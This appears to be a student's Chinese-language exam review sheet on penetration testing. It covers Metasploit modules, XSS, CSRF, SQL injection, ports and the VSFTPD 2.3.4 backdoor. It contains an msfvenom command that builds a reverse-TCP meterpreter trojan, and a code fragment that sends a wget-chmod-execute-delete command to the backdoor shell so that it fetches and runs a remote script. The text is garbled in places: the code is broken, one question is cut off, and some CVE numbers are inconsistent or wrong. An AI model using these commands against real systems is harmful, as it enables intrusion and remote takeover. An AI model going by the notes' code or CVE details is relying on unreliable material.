

产生木马方法 { MSF TC 后面参数

MSF -t lport lhost -o exe
> elf
输出 windows exe
输出 linux

XSS 攻击

代码分析. 如何绕过 XSS 攻击

1、简要描述渗透测试过程。7个阶段书 P3

2、

3、如何对一个待检测网站进行漏洞扫描和漏洞利用? P4 ~ 6

4、简要描述主动扫描和被动扫描的概念, 指出它们的主要区别。列举至少三种工具。 P5 P46 P73

5、分析 VSFTPD 2.3.4 的漏洞产生原因。其 CVE 编号是多少? 分析下列代码中语句是否检测到笑脸漏洞? 并说明理由。 CVE-2011-2523

def hifun(ip):

```
con = socket()  
try:  
    con.connect((ip, 21))  
except: return True  
else:  
    con.send('User us0n')  
    con.send('Pass pas:n')  
try:  
    con.close()  
    time.sleep(1)
```

检测漏洞. 用户名包含连

续的 0x3a 和 0x29 字符

```
s = socket()  
s.connect((ip,6200))  
s.send('wget http://%s/.do.sh;chmod +x .do.sh;./do.sh;rm -rf .do.sh\n%Aip')
```

```
ret.close()
```

```
return True
```

6、回答下列问题：

(1) 如何理解远程控制的正向控制和反向控制？现在的攻击多采用那种控制？

P123

反向控制

(2) 靶机为 windows10 虚拟机，地址是 192.168.100.150；另一攻击机为 Kali 虚拟机，地址是 192.168.100.132。设计一条使用 msfvenom 模块生成针对靶机的基于 TCP 反弹木马的命令。假设监听端口为 8888。

msfvenom -p windows/meterpreter/reverse_tcp
lhost=192.168.100.132 lport=8888 -f exe -o windows.exe

7、回答下列问题：（10分）

(1) 漏洞渗透模块的名字采用的三段式标准是什么？

CVE-年份-编号

CVE-2011-2593

(2) Metasploit 中常用的模块及其功能。

P164~165

8、CSRF（跨站请求伪造）的英文全称是什么？其原理是什么？

9、描述攻击机（IP 地址：192.168.10.8）使用 Kali Linux 的 S

址：www.testfire.net）步骤。

实验1

10、描述 SQL 注入原理。如何防护 SQL 注入？

11、缓冲区溢出攻击。

12、常用端口的了解。21 80 443 3306 3389

Metasploit中常用的模块及其功能

- 漏洞渗透模块 (exploits)**
每一个模块对应着一个漏洞，发现了目标的漏洞之后，我们无需知道漏洞是如何产生的，甚至无需掌握编程技能，你只需要知道漏洞的名字，然后执行对应的漏洞模块，就可以实现目标的入侵。
- 攻击载荷模块 (payload)**
它们可以帮助我们目标上完成远程控制操作，通常这些模块既可以单独执行，也可以和漏洞渗透模块一起执行。
- 辅助模块 (auxiliary)**
进行信息收集的模块，例如一些信息侦查、网络扫描类的工具。
- 后渗透攻击模块 (post)**
当我们成功地取得目标的控制权之后，就是这类模块大显身手的时候，它可以帮我们提取系统控制权限、获取敏感信息、实施破坏攻击等。
- 空模块 (nop)**
生成代码中的空，比如在汇编语言中，不做任何操作即为nop。
- 混淆模块 (evasion)**
能够生成绕过杀毒软件的asmx(目前只适用于windows)

1. 笑脸漏洞 ↪ P105
 2. 被动和主动扫描特点 ↪ P73 P46
 3. nmap ↪ P74 ~ 76
 4. MS-17-010 CVE-2022-9086 ↪ P107
 5. 给出渗透模块中的各参数 RHOST、LHOST、RPORT、LPORT、Payload，如何在 Metasploit 框架中使用 ↪ P168 ~ 169
 6. Msfvenom 生成木马 ↪ P128 P132
 7. 清楚 www.testfire.net 的渗透流程 ↪ 实验1
 8. 社会工程学作用及样本制作过程 ↪ 实验五
 9. 网络安全的攻击和防御都有哪些。XSS SQL DDOS 暴力破解 ↪ 零日漏洞 密码攻击
网络钓鱼攻击
 10. 常用端口 ↪
21ftp ↪
22ssh ↪
23telnet ↪
80http ↪
443https ↪
3389 远程桌面 ↪
3306mysql ↪
1433sqlserver ↪
1521oracle ↪
- 防火墙技术、加密技术
入侵检测 网络引诱、安全反杀

微软

P167